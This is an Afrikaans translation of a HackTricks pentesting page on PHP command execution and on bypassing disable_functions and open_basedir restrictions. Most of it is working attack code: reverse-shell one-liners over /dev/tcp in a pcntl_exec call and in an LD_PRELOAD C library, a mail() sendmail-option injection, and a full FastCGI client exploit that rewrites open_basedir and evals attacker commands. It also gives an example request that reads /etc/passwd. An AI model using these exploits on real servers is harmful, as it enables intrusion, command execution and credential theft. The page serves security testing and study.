PHP - Nuttige Funksies & disable_functions/open_basedir omseiling

Reading time: 20 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

PHP Opdrag & Kode Uitvoering

PHP Opdrag Uitvoering

Let wel: 'n p0wny-shell php webshell kan outomaties die volgende funksie nagaan en omseil indien sommige daarvan gedeaktiveer is.

exec - Gee die laaste lyn van die opdragte se uitvoer

bash
echo exec("uname  -a");

passthru - Gee die opdragte se uitvoer direk aan die blaaier deur

bash
echo passthru("uname -a");

stelsel - Gee die opdragte se uitvoer direk aan die blaaiert en keer die laaste lyn terug

bash
echo system("uname -a");

shell_exec - Gee die opdrag se uitvoer terug

bash
echo shell_exec("uname -a");

`` (backticks) - Dieselfde as shell_exec()

bash
echo `uname -a`

popen - Maak 'n lees- of skryfpyp na 'n proses van 'n opdrag oop

bash
echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - Soortgelyk aan popen() maar met 'n groter mate van beheer

bash
proc_close(proc_open("uname -a",array(),$something));

preg_replace

php
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - Voer 'n program uit (per standaard in moderne en nie-so-moderne PHP moet jy die pcntl.so module laai om hierdie funksie te gebruik)

bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - Hierdie funksie word gebruik om e-posse te stuur, maar dit kan ook misbruik word om arbitrêre opdragte binne die $options parameter in te spuit. Dit is omdat die php mail funksie gewoonlik die sendmail binêre binne die stelsel aanroep en dit jou toelaat om bykomende opsies in te voeg. Jy sal egter nie die uitvoer van die uitgevoerde opdrag kan sien nie, so dit word aanbeveel om 'n shell-skrip te skep wat die uitvoer na 'n lêer skryf, dit met mail uit te voer, en die uitvoer te druk:

bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - Hierdie funksie kan gebruik word om 'n PHP-uitbreiding dinamies te laai. Hierdie funksie sal nie altyd teenwoordig wees nie, so jy moet kyk of dit beskikbaar is voordat jy probeer om dit te benut. Lees hierdie bladsy om te leer hoe om hierdie funksie te benut.

PHP Kode Uitvoering

Afgesien van eval is daar ander maniere om PHP-kode uit te voer: include/require kan gebruik word vir afstandkode-uitvoering in die vorm van Local File Include en Remote File Include kwesbaarhede.

php
${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

Gedisableerde funksies is die instelling wat in .ini lêers in PHP gekonfigureer kan word wat die gebruik van die aangeduide funksies verbied. Open basedir is die instelling wat aan PHP aandui watter vouer dit kan toegang hê.
Die PHP instelling moet gekonfigureer word in die pad /etc/php7/conf.d of soortgelyk.

Beide konfigurasies kan in die uitvoer van phpinfo() gesien word:

open_basedir Bypass

open_basedir sal die vouers konfigureer wat PHP kan toegang hê, jy sal nie in staat wees om enige lêer buite daardie vouers te skryf/lees/uit te voer nie, maar jy sal selfs nie in staat wees om ander gidse te lys nie.
As jy egter op een of ander manier in staat is om arbitrêre PHP kode uit te voer, kan jy probeer die volgende stuk kode om te probeer om die beperking te omseil.

Lys gidse met glob:// omseiling

In hierdie eerste voorbeeld word die glob:// protokol met 'n paar pad omseilings gebruik:

php
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

Nota1: In die pad kan jy ook /e??/* gebruik om /etc/* en enige ander gids te lys.
Nota2: Dit lyk of 'n deel van die kode gedupliseer is, maar dit is eintlik nodig!
Nota3: Hierdie voorbeeld is slegs nuttig om gidse te lys, nie om lêers te lees nie.

Volledige open_basedir omseiling deur FastCGI

As jy meer oor PHP-FPM en FastCGI wil leer kan jy die eerste afdeling van hierdie bladsy lees.
As php-fpm geconfigureer is, kan jy dit misbruik om open_basedir heeltemal te omseil:

Let daarop dat die eerste ding wat jy moet doen is om te vind waar die unix socket van php-fpm is. Dit is gewoonlik onder /var/run, so jy kan die vorige kode gebruik om die gids te lys en dit te vind.
Kode van hier.

php
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Hierdie skripte sal kommunikeer met unix socket van php-fpm (gewoonlik geleë in /var/run as fpm gebruik word) om arbitrêre kode uit te voer. Die open_basedir instellings sal oorgeskryf word deur die PHP_VALUE attribuut wat gestuur word.
Let op hoe eval gebruik word om die PHP kode wat jy binne die cmd parameter stuur, uit te voer.
Let ook op die gekommenteerde lyn 324, jy kan dit ontkommentarieer en die payload sal outomaties met die gegewe URL verbind en die PHP kode wat daar bevat is, uitvoer.
Toegang net tot http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); om die inhoud van die /etc/passwd lêer te kry.

warning

Jy mag dalk dink dat net soos ons die open_basedir konfigurasie oorgeskryf het, ons ook disable_functions kan oorgeskryf. Wel, probeer dit, maar dit sal nie werk nie, blykbaar kan disable_functions slegs in 'n .ini php konfigurasielêer gekonfigureer word en die veranderinge wat jy met PHP_VALUE maak, sal nie effektief wees op hierdie spesifieke instelling nie.

disable_functions Bypass

As jy daarin slaag om PHP kode binne 'n masjien uit te voer, wil jy waarskynlik na die volgende vlak gaan en arbitrêre stelselinstruksies uitvoer. In hierdie situasie is dit gewoonlik om te ontdek dat die meeste of al die PHP funksies wat toelaat om stelselinstruksies uit te voer, gedeaktiveer is in disable_functions.
Kom ons kyk hoe jy hierdie beperking kan omseil (as jy kan).

Outomatiese omseiling ontdekking

Jy kan die hulpmiddel https://github.com/teambi0s/dfunc-bypasser gebruik en dit sal jou aandui watter funksie (indien enige) jy kan gebruik om disable_functions te omseil.

Omseiling met ander stelselfunksies

Keer net terug na die begin van hierdie bladsy en kyk of enige van die funksies wat opdragte uitvoer nie gedeaktiveer is en beskikbaar is in die omgewing nie. As jy net 1 van hulle vind, sal jy dit kan gebruik om arbitrêre stelselinstruksies uit te voer.

LD_PRELOAD omseiling

Dit is goed bekend dat sommige funksies in PHP soos mail() gaan binaries binne die stelsel uitvoer. Daarom kan jy hulle misbruik deur die omgewing veranderlike LD_PRELOAD te gebruik om hulle 'n arbitrêre biblioteek te laat laai wat enigiets kan uitvoer.

Funksies wat gebruik kan word om disable_functions met LD_PRELOAD te omseil

  • mail
  • mb_send_mail: Effektief wanneer die php-mbstring module geïnstalleer is.
  • imap_mail: Werk as die php-imap module teenwoordig is.
  • libvirt_connect: Vereis die php-libvirt-php module.
  • gnupg_init: Gebruikbaar met die php-gnupg module geïnstalleer.
  • new imagick(): Hierdie klas kan misbruik word om beperkings te omseil. Gedetailleerde uitbuitings tegnieke kan gevind word in 'n omvattende skrywe hier.

Jy kan hier vind die fuzzing skrip wat gebruik is om daardie funksies te vind.

Hier is 'n biblioteek wat jy kan saamstel om die LD_PRELOAD omgewing veranderlike te misbruik:

php
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

Bypass using Chankro

Om hierdie miskonfigurasie te misbruik, kan jy Chankro gebruik. Dit is 'n hulpmiddel wat 'n PHP exploit sal genereer wat jy na die kwesbare bediener moet oplaai en uitvoer (toegang dit via web).
Chankro sal binne die slagoffer se skyf die biblioteek en die omgekeerde skulp wat jy wil uitvoer, skryf en die**LD_PRELOAD truuk + PHP mail()** funksie gebruik om die omgekeerde skulp uit te voer.

Let daarop dat om Chankro te gebruik, mail en putenv nie in die disable_functions lys mag verskyn nie.
In die volgende voorbeeld kan jy sien hoe om 'n chankro exploit te skep vir arch 64, wat whoami sal uitvoer en die uitset in /tmp/chankro_shell.out sal stoor, chankro sal die biblioteek en die payload in /tmp skryf en die finale exploit gaan bicho.php genoem word (dit is die lêer wat jy na die slagoffer se bediener moet oplaai):

php
#!/bin/sh
whoami > /tmp/chankro_shell.out

As jy vind dat die mail funksie geblokkeer is deur gedeaktiveerde funksies, kan jy steeds die funksie mb_send_mail gebruik.
Meer inligting oor hierdie tegniek en Chankro hier: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"Bypass" met PHP vermoëns

Let daarop dat jy met PHP lêers kan lees en skryf, directories kan skep en toestemmings kan verander.
Jy kan selfs databasisse dump.
Miskien kan jy met PHP om die boks te enumerate 'n manier vind om voorregte te verhoog/opdragte uit te voer (byvoorbeeld om 'n private ssh-sleutel te lees).

Ek het 'n webshell geskep wat dit baie maklik maak om hierdie aksies uit te voer (let daarop dat die meeste webshells jou ook hierdie opsies sal bied): https://github.com/carlospolop/phpwebshelllimited

Modules/Weergawe afhanklike bypasses

Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module gebruik word of om 'n spesifieke PHP weergawe te exploiteer:

Outomatiese Gereedskap

Die volgende skrip probeer sommige van die metodes wat hier bespreek is:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

Ander Interessante PHP funksies

Lys van funksies wat callbacks aanvaar

Hierdie funksies aanvaar 'n string parameter wat gebruik kan word om 'n funksie van die aanvaller se keuse aan te roep. Afhangende van die funksie mag die aanvaller al dan nie die vermoë hê om 'n parameter deur te gee nie. In daardie geval kan 'n Inligtingsontsluiting funksie soos phpinfo() gebruik word.

Callbacks / Callables

Volgende lyste van hier

php
// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Inligtingsontsluiting

Meeste van hierdie funksie-oproepe is nie sinkholes nie. Maar dit kan eerder 'n kwesbaarheid wees as enige van die data wat teruggestuur word, deur 'n aanvaller gesien kan word. As 'n aanvaller phpinfo() kan sien, is dit beslis 'n kwesbaarheid.

php
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Ander

php
extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Lêerstelsel Funksies

Volgens RATS is alle lêerstelsel funksies in php sleg. Sommige hiervan lyk nie baie nuttig vir die aanvaller nie. Ander is nuttiger as wat jy dalk dink. Byvoorbeeld, as allow_url_fopen=On is, kan 'n url as 'n lêer pad gebruik word, so 'n oproep na copy($_GET['s'], $_GET['d']); kan gebruik word om 'n PHP-skrip enige plek op die stelsel op te laai. Ook, as 'n webwerf kwesbaar is vir 'n versoek wat via GET gestuur word, kan elkeen van daardie lêerstelsel funksies misbruik word om 'n aanval na 'n ander gasheer deur jou bediener te kan lei.

Oop lêerstelsel handler

php
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Skryf na lêerstelsel (gedeeltelik in kombinasie met lees)

php
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Lees van die lêerstelsel

php
file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks